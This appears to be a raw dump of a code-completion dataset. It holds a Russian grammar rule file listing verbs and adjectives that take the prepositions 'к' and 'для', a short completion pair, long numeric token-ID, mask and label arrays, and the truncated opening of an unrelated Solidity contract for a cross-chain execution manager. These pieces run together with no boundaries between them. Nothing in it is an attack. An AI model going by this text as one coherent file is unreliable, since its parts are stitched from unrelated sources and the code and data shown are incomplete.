инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
| полистать на досуге
| rus_verbs:полистать{}, | 5,484,610 | [
1,
145,
128,
145,
127,
145,
124,
145,
121,
146,
228,
146,
229,
145,
113,
146,
229,
146,
239,
225,
145,
126,
145,
113,
225,
145,
117,
145,
127,
146,
228,
146,
230,
145,
116,
145,
118,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
436,
407,
67,
502,
2038,
30,
145,
128,
145,
127,
145,
124,
145,
121,
146,
228,
146,
229,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// @unsupported: ovm
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {Auth} from "@rari-capital/solmate/src/auth/Auth.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {NovaExecHashLib} from "./libraries/NovaExecHashLib.sol";
import {CrossDomainEnabled, iOVM_CrossDomainMessenger} from "./external/CrossDomainEnabled.sol";
import {L2_NovaRegistry} from "./L2_NovaRegistry.sol";
import {L1_NovaApprovalEscrow} from "./L1_NovaApprovalEscrow.sol";
/// @notice Entry point for relayers to execute requests.
/// @dev Deploys an L1_NovaApprovalEscrow and sends cross domain messages to the L2_NovaRegistry.
contract L1_NovaExecutionManager is Auth, CrossDomainEnabled {
using SafeMath for uint256;
/*///////////////////////////////////////////////////////////////
CONSTANTS
//////////////////////////////////////////////////////////////*/
/// @notice The revert message text used to trigger a hard revert.
/// @notice The execution manager will ignore hard reverts if they are triggered by a strategy not registered as UNSAFE.
